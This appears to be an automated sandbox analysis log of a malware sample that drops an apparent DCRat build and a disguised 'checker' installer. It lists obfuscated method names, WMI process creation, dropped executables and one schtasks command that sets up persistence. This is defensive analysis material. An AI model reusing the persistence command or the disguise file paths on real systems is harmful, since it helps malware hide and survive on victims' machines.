Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, SV4p82nYIORxamaMOEj.cs	High entropy of concatenated method names: 'CwMDU4IiEb', 'O5xEfePKFP60RZoq2QPT', 'Mbfc96PKO9fpnvLG9BR7', 'bK41A1PK8LXtnnAiikUx', 'dSsIbvPKJWioWHpMCO79', 'VlG6CwPKlKPMqfJZqNm5', 'CPX', 'h7V', 'G6s', '_2r8'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, yRC9YOB7TQJKwxAnYJ.cs	High entropy of concatenated method names: 'WHKrNand3', 'l1I0BJPqKoVb4xq88Zqm', 'tvw5IvPqY68jRQwUXqVy', 'ePr2brPqSECDMpCkCnqW', 'UAHwM4Pqu7Vt23nCqRLD', 'qnnNLM6O5', 'eoxQw7xOu', 'WuXkLH6kd', 't1NZ4h3uQ', 'jxMm9E2KT'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, IQgcRJp6myeYm5oS483.cs	High entropy of concatenated method names: 'GkgXWhS3D8', 'S84XPyRtrj', 'mm3XEZTpni', 'AYkgO0PlYW3l2iCCOSOH', 'n7XDqpPlusJtLvVNr0jr', 'I5USd1PlKnOvFjewkQBn', 'HJeperi4yU', 'munpwP2RUd', 'JNgpiRvhpK', 'y0BpneJ4cn'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Y22Kg9HsG4IShK4ve9Q.cs	High entropy of concatenated method names: 'ggcIWpp61Z', 'u7CIPrktFk', 'FHsIETlUxp', 'v3tIcQXZjk', 'ubOIVWrivs', 'AAP7i0PtUtQqtbd1iC0A', 'wqCpiGPt7v0MZ7g1w8hx', 'OXBikDPtTNjS463twCoV', 'WSGorbPtH4wAquj0sBHX', 'ESVD5sPtIVfl4rkSFxrw'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, orVLMXEJPhMal4vtLDs.cs	High entropy of concatenated method names: 'sMwEtfi0qp', 'c9sQ6JP8mKgIvQoFDqyc', 'YIMQLXP8kIxjbSoOFQ3S', 'PTX47wP8ZEtWvGnJstc0', 'dvAloRP83q2ETLyIfScV', 'WwYLHAP8ANljSejTVRle', 'AfpEONXZkT', 'h6jElkPHKa', 'OdNErSJweH', 'e36EM334o4'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, Fn4I2k0VD332F4EsjfA.cs	High entropy of concatenated method names: 'vKo0pj0kDy', 'xcs0XiN28e', 'qi10yVZKvw', 'HWL0gHwwD5', '_0023Nn', 'Dispose', 'rNQF0SPYvPwNDTbP64t5', 'v8rs0wPYBcu4LbfiCYqG', 'ylQnHtPYhY8iTSwfGNrD', 'cYHYVrPYNOZAChBMI10V'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, ROuXmmRZfJ3Y7ku0lRp.cs	High entropy of concatenated method names: 'NsHRlfZfPL', 'axfRrPR5dI', 'sGkRMWxeNf', 'RDeRfbwoVo', 'nQGRdHtsBu', 'MywRatN8nj', 'IhRR48iExq', 'w8ZRtswnAI', 'u6OR9MBoPf', 'dsIRLFZ5Yp'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, mbEZgqEy43aJP9LZ9Yt.cs	High entropy of concatenated method names: 'Pe2EjEOK3C', 'xR2EbOKAk0', 'f3SEUDOmdi', 'zWx5m9P5nOIVAHMsXSui', 'kMfwmRP5wBqLKcj0rOkf', 'XjdbmHP5iLX6XGCYM9yY', 'LH9oFhP5DDR5A9bOyHXA', 'oSnwVGP50yHFUb0vxfwW', 'nxOJZ8P5SXXgXP55NV0s', 'USNp3HP5uR38DwMQTngC'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, G6wdofVMPB8Xm2PXZdu.cs	High entropy of concatenated method names: 'wQZVd1eTNb', 'PCHVaY9HvY', 'DfQQj1PFMQHvrGYqmcv2', 'ftBA9yPFfEUPYRIflVZw', 'H1ND17PFdQ6TxyCsRlLS', 'Dt3QWPPFaspeNqeyB0TB', 'p6RThtPF4ou35ttRNxKq', 'q05RtQPFtELJZUALHlpg', 'Bj4o9XPF9rWNLBFYXQ8A'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, VONH6ZRBck0LT59jToQ.cs	High entropy of concatenated method names: 'XQJEphIDm9P', 'bqfEpN51ef4', 'b1kBvYPsQy6OVb3OFyCA', 'OY5kIVPskx8P0W9trhfv', 'acEJwsPsZQUL8ZshpkDc', 'SDStSTPsmyOsv1aAnWFc', 'zplBEgPs3HR9aK5GuIWa'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, sEy7PPxmEaWZWEjVqX2.cs	High entropy of concatenated method names: 'iDixMmCTxt', 'HRBxfd95gN', 'fSDew2POOf8SgMK1GwEK', 'JOh0EiPOlKrDvBpKMJhN', 'LPm3yyPOrc2XmK3midIk', 'UklxAj0IpX', 'Uk2x2uoj7F', 'kbWxq9covJ', 'redx1VbAXQ', 'LPUx5e5Dpy'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, j0v7ClTHh2LSLnu6RKg.cs	High entropy of concatenated method names: 'BFDTvcHDh1', 'BXPTB20pwP', 'xacTheSW3s', 'hiQh3IP45l8XPdQYK1DK', 'ftnaYmP4qICvZ395q9Rg', 'kqxkXHP41XhZbKEiwJlH', 'pYm3wZP48914yhkeDiAs', 'xEqcmlP4J90Stt0aGHR8', 'pZMFI4P4FUK7LZjBGoNk'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, tEKB20jYsCoCN4ugihH.cs	High entropy of concatenated method names: 'My5', 'V4X', 'zT6', 'DQhjRS78Bt', 'BM1Py9ZiDP6', 'E3DjsqfOdA', 'Ms0PyLSj6tu', 'QwB4AuPdRRkOxbSrMDBw', 'CkJvYJPdYD1mMy9TXQFq', 'yu2ei1PdCaeEwB2Slf3J'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, RKnKBN8kxRoEokhBv5A.cs	High entropy of concatenated method names: 'W9L8mLWMjq', 'Uks83uOsaa', 'M62', '_1Xu', 'LuR', '_4p3', 'HVh', 'MuS8Ay942M', '_96S', '_9s5'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, frT9WSx7KUVpAqAhOZL.cs	High entropy of concatenated method names: 'Wc7', 'k7S', '_37r', 'uq8PykL8DYq', 'e9jPczqMGhv', 'ejZj2RPOIdeEeJLGHfUx', 'qFXO2WPOvoOujIlSF4iF', 'q2wH9RPOBG5MONxOfvxG', 'UECjHXPOhq4oIhBtnyDU', '_6l7'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, BKJdS9EPgm7tZTr153j.cs	High entropy of concatenated method names: '_5E9', 'V29', 'e6S', '_2Q4', 'CVq', 'PrUPyQ3HpMJ', 'QVHPcnQW3if', 'XM4uvmP5tn7qKqpaZN7W', 'XrJicFP59dTwwBeBpwaj', 'HvZknyP5LJFlkNkAEktH'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, xtueugBSWqSbkQ841b2.cs	High entropy of concatenated method names: 'u1kDVTPGeY0yAg7OsfOs', 'JSagi6PGwnZQrjY6Ov8j', 'djJgg5PGi4asXktoshZl', 'kVIm2BpCSg', 'xIgOGgPGScVcKUodrcZh', 'lFfYPsPGDccwnmFTItVp', 'OVBtRTPG0d5mUkDUej0C', 'nYjxQAPGuEqAVo0P7g0v', 'UlPLyRPGKBVdZMFQVol6', 'Cwpm5KRYaZ'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, doaogxFK4NguqBQ3UEW.cs	High entropy of concatenated method names: '_2JN', 'A67', '_49I', 'WxWFC2owoX', 'Yk3FRNVI2L', 'qdyFsNItVu', 'no9Fz5Qcjq', 'wegOW1cmPk', 'sEvOPhwwyh', 'hB6vIUPnMrYDX0QFTp3m'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, wXHnSVdhUW6HVo7oae6.cs	High entropy of concatenated method names: 'a7hdQwASwL', 'lmIdkjsyI2', 'TLjdZSFSwu', 'UtSdmUJAeq', 'r8hd3rUe58', 'IhidApLBQI', 'pghd2AO7uB', 'kqLdq4I3NW', 'hT8d1iTTfC', 'fGad5vfS6Z'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, wOpr12PqyLlMwplBZWS.cs	High entropy of concatenated method names: 'N2T', 'V29', 'o75', '_2Q4', 'K3B', 'XshPyIs1mSg', 'QVHPcnQW3if', 'IedVr1P1KQcbjbhkkJt5', 'B5qO8pP1Y1WN8gWj6ql3', 'nmfyOnP1CRjSIAYRD6J9'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, v7SV9OywgqY5yWJq6eG.cs	High entropy of concatenated method names: 'YUxyufEVSa', 'LAbyKXtppI', 'wihyY7PZH7', 'k9oyCZcQRW', 'SC9yRVRX0I', 'pd7ysuhSgG', 'Fg5yzswiA3', 'aVHEgbPMdvMfAvvwHktf', 'bph8ToPMaYbhInTPD9tZ', 'hoWGofPM4HEcJ9KfBA2r'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\OfhhMrNQ.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\UvPgJftz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File created: C:\Users\user\AppData\Local\Temp\MSI47C9.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\lNILRSep.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File created: C:\Users\user\AppData\Local\Temp\MSI46ED.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File created: C:\Users\user\AppData\Local\Temp\MSI44B9.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\UplOiJFY.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\yYksYVbT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File created: C:\Users\user\AppData\Local\Temp\shi436E.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4DB5.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\MAAYLQkP.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\OWmHElNj.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\wKKCkQsU.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\BXyiPEuJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\lzmaextractor.dll	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\lealJKxT.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\XaQepXPR.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\gaqNoVOB.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\jUtdfVsr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	File created: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4DD5.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\LMwQZDoR.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\pAGUOyAM.log	Jump to dropped file
Source: C:\Users\user\Desktop\gorkmTnChA.exe	File created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4A94.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\GKQhrBJx.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\YTLXwDIz.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\SFtfhzmX.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4C8A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\ShortcutFlags.dll	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4D85.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\xqfrsuNN.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\zbqSUreo.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\SEFybwug.log	Jump to dropped file
Source: C:\Users\user\Desktop\gorkmTnChA.exe	File created: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\vSFbtVsB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File created: C:\Users\user\AppData\Local\Temp\MSI43FC.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\hwUMgwXg.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4B03.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\vlAbNuev.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\lKQdHBzT.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4A36.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\jyGvCfcb.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\aHPfiQDx.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\ZkmfqpvS.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\nBMUCfZn.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\dYYVtYJg.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\AOGsABiv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File created: C:\Users\user\AppData\Local\Temp\MSI447A.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\Default\Favorites\ApplicationFrameHost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\XgvwQtEs.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\jLWdviZu.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\JrPikvxc.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\ClgJzaDG.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4969.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\uAoBkxMT.log	Jump to dropped file

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\yYksYVbT.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\ZkmfqpvS.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\XaQepXPR.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\nBMUCfZn.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\UplOiJFY.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\BXyiPEuJ.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\jLWdviZu.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\SEFybwug.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\GKQhrBJx.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\gaqNoVOB.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\lNILRSep.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\ClgJzaDG.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\jUtdfVsr.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\xqfrsuNN.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\OWmHElNj.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\wKKCkQsU.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\uAoBkxMT.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File created: C:\Users\user\Desktop\SFtfhzmX.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\vSFbtVsB.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\lealJKxT.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\jyGvCfcb.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\pAGUOyAM.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\MAAYLQkP.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\lKQdHBzT.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\zbqSUreo.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\XgvwQtEs.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\vlAbNuev.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\dYYVtYJg.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\UvPgJftz.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\LMwQZDoR.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\aHPfiQDx.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\JrPikvxc.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\AOGsABiv.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\hwUMgwXg.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\YTLXwDIz.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File created: C:\Users\user\Desktop\OfhhMrNQ.log	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /f

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\gorkmTnChA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
